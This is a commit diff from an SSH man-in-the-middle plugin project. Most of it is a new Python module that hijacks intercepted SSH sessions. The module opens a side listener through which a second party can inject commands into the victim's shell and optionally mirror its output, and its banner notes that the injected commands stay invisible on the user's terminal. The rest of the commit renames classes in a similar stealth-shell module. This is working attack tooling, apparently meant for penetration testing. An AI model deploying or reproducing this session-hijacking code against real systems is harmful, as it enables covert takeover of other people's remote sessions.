Skip to content

Commit 6e49554

Browse files
committed
Changed version; added help text
1 parent 1277cd5 commit 6e49554

File tree

5 files changed

+175
-8
lines changed

5 files changed

+175
-8
lines changed

setup.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def get_entry_points():
1919

2020
setup(
2121
name='ssh-mitm-plugins',
22-
version='0.1',
22+
version='0.2',
2323
author='Simon Böhm',
2424
author_email='[email protected]',
2525
description='advanced features for ssh-mitm server',
@@ -47,6 +47,6 @@ def get_entry_points():
4747
**get_entry_points()
4848
},
4949
install_requires=[
50-
'ssh-mitm'
50+
'ssh-mitm>=0.4.1'
5151
]
5252
)

ssh_mitm_plugins/__entrypoints__.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
entry_points = {
22
'SSHBaseForwarder': [
33
'scriptedshell = ssh_mitm_plugins.ssh.scriptedshell:SSHScriptedForwarder',
4-
'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHInjectableForwarder'
4+
'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHStealthForwarder',
5+
'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder'
56
],
67
'SCPBaseForwarder': [
78

Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
import logging
2+
import queue
3+
import select
4+
import threading
5+
import socket
6+
import time
7+
8+
import paramiko
9+
10+
from ssh_proxy_server.forwarders.ssh import SSHForwarder
11+
from ssh_proxy_server.plugins.ssh.mirrorshell import InjectServer
12+
13+
14+
class SSHInjectableForwarder(SSHForwarder):
15+
"""hijack a ssh session and execute commands on an individual shell
16+
"""
17+
18+
HOST_KEY_LENGTH = 2048
19+
20+
@classmethod
21+
def parser_arguments(cls):
22+
cls.parser().add_argument(
23+
'--ssh-injector-net',
24+
dest='ssh_injector_net',
25+
default='127.0.0.1',
26+
help='local address/interface where injector sessions are served'
27+
)
28+
cls.parser().add_argument(
29+
'--ssh-injector-enable-mirror',
30+
dest='ssh_injector_enable_mirror',
31+
action="store_true",
32+
help='enables host session mirroring for the injector shell'
33+
)
34+
cls.parser().add_argument(
35+
'--ssh-injectshell-key',
36+
dest='ssh_injectshell_key'
37+
)
38+
39+
def __init__(self, session):
40+
super(SSHInjectableForwarder, self).__init__(session)
41+
self.injector_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
42+
self.injector_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
43+
self.injector_sock.bind((self.args.ssh_injector_net, 0))
44+
self.injector_sock.listen(5)
45+
46+
self.mirror_enabled = self.args.ssh_injector_enable_mirror
47+
self.queue = queue.Queue()
48+
self.sender = self.session.ssh_channel
49+
self.injector_shells = []
50+
thread = threading.Thread(target=self.injector_connect)
51+
thread.start()
52+
self.conn_thread = thread
53+
54+
def injector_connect(self):
55+
inject_host, inject_port = self.injector_sock.getsockname()
56+
logging.info(
57+
"created injector shell on port {port}. connect with: ssh -p {port} {host}".format(
58+
host=inject_host,
59+
port=inject_port
60+
)
61+
)
62+
try:
63+
while not self.session.ssh_channel.closed:
64+
readable = select.select([self.injector_sock], [], [], 0.5)[0]
65+
if len(readable) == 1 and readable[0] is self.injector_sock:
66+
client, addr = self.injector_sock.accept()
67+
68+
t = paramiko.Transport(client)
69+
t.set_gss_host(socket.getfqdn(""))
70+
71+
t.load_server_moduli()
72+
if self.args.ssh_injectshell_key:
73+
t.add_server_key(paramiko.RSAKey(filename=self.args.ssh_injectshell_key))
74+
else:
75+
t.add_server_key(paramiko.RSAKey.generate(bits=self.HOST_KEY_LENGTH))
76+
77+
inject_server = InjectServer(self.server_channel)
78+
try:
79+
t.start_server(server=inject_server)
80+
except (ConnectionResetError, EOFError, paramiko.SSHException):
81+
t.close()
82+
continue
83+
injector_channel = None
84+
while not injector_channel:
85+
injector_channel = t.accept(0.5)
86+
injector_shell = InjectorShell(addr, injector_channel, self)
87+
injector_shell.start()
88+
self.injector_shells.append(injector_shell)
89+
time.sleep(0.1)
90+
except (paramiko.SSHException, OSError) as e:
91+
logging.warning("injector connection suffered an unexpected error")
92+
logging.exception(e)
93+
self.close_session(self.channel)
94+
95+
def forward_stdin(self):
96+
# MTODO: maybe add host priority (priority queue); silent mode with client blocking input from injectors
97+
if self.session.ssh_channel.recv_ready():
98+
buf = self.session.ssh_channel.recv(self.BUF_LEN)
99+
self.queue.put((buf, self.session.ssh_channel))
100+
101+
def forward_stdout(self):
102+
if self.server_channel.recv_ready():
103+
buf = self.server_channel.recv(self.BUF_LEN)
104+
self.sender.sendall(buf)
105+
if self.mirror_enabled and self.sender == self.session.ssh_channel:
106+
for shell in self.injector_shells:
107+
if shell.client_channel is not self.sender:
108+
shell.client_channel.sendall(buf)
109+
110+
def forward_extra(self):
111+
if not self.server_channel.recv_ready() and not self.session.ssh_channel.recv_ready() and not self.queue.empty():
112+
msg, sender = self.queue.get()
113+
self.server_channel.sendall(msg)
114+
self.sender = sender
115+
self.queue.task_done()
116+
117+
def close_session(self, channel):
118+
super().close_session(channel)
119+
for shell in self.injector_shells:
120+
shell.join()
121+
self.conn_thread.join()
122+
self.injector_sock.close()
123+
124+
125+
class InjectorShell(threading.Thread):
126+
127+
BUF_LEN = 1024
128+
STEALTH_WARNING = """
129+
[NOTE]\r\n
130+
This is a hidden shell injected into the secure session the originally host created.\r\n
131+
Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r\n
132+
Exit the hidden shell with CTRL+C
133+
"""
134+
135+
def __init__(self, remote, client_channel, forwarder):
136+
super(InjectorShell, self).__init__()
137+
self.remote = remote
138+
self.forwarder = forwarder
139+
self.queue = self.forwarder.queue
140+
self.client_channel = client_channel
141+
142+
def run(self) -> None:
143+
self.client_channel.sendall(self.STEALTH_WARNING)
144+
try:
145+
while not self.forwarder.session.ssh_channel.closed:
146+
if self.client_channel.recv_ready():
147+
data = self.client_channel.recv(self.forwarder.BUF_LEN)
148+
if data == b'\x03':
149+
break
150+
self.queue.put((data, self.client_channel))
151+
if self.client_channel.exit_status_ready():
152+
break
153+
time.sleep(0.1)
154+
except paramiko.SSHException:
155+
logging.warning("injector shell %s with unexpected SSHError", str(self.remote))
156+
finally:
157+
self.terminate()
158+
159+
def terminate(self):
160+
if not self.forwarder.session.ssh_channel.closed:
161+
self.forwarder.injector_shells.remove(self)
162+
self.client_channel.get_transport().close()

ssh_mitm_plugins/ssh/scriptedshell.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66

77

88
class SSHScriptedForwarder(SSHForwarder):
9+
"""execute a script on ssh session startup
10+
"""
911

1012
@classmethod
1113
def parser_arguments(cls):

ssh_mitm_plugins/ssh/stealthshell.py

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,9 @@
1111
from ssh_proxy_server.plugins.ssh.mirrorshell import InjectServer
1212

1313

14-
class SSHInjectableForwarder(SSHForwarder):
14+
class SSHStealthForwarder(SSHForwarder):
15+
"""injectorshell that focuses on stealth operation
16+
"""
1517

1618
HOST_KEY_LENGTH = 2048
1719

@@ -41,7 +43,7 @@ def parser_arguments(cls):
4143
)
4244

4345
def __init__(self, session):
44-
super(SSHInjectableForwarder, self).__init__(session)
46+
super(SSHStealthForwarder, self).__init__(session)
4547
self.injector_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
4648
self.injector_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
4749
self.injector_sock.bind((self.args.ssh_injector_net, 0))
@@ -89,7 +91,7 @@ def injector_connect(self):
8991
injector_channel = None
9092
while not injector_channel:
9193
injector_channel = t.accept(0.5)
92-
injector_shell = InjectorShell(addr, injector_channel, self)
94+
injector_shell = StealthShell(addr, injector_channel, self)
9395
injector_shell.start()
9496
self.injector_shells.append(injector_shell)
9597
time.sleep(0.1)
@@ -145,7 +147,7 @@ def close_session(self, channel):
145147
self.injector_sock.close()
146148

147149

148-
class InjectorShell(threading.Thread):
150+
class StealthShell(threading.Thread):
149151

150152
BUF_LEN = 1024
151153
STEALTH_WARNING = """
@@ -160,7 +162,7 @@ class InjectorShell(threading.Thread):
160162
"""
161163

162164
def __init__(self, remote, client_channel, forwarder):
163-
super(InjectorShell, self).__init__()
165+
super(StealthShell, self).__init__()
164166
self.remote = remote
165167
self.forwarder = forwarder
166168
self.queue = self.forwarder.queue

0 commit comments

Comments
 (0)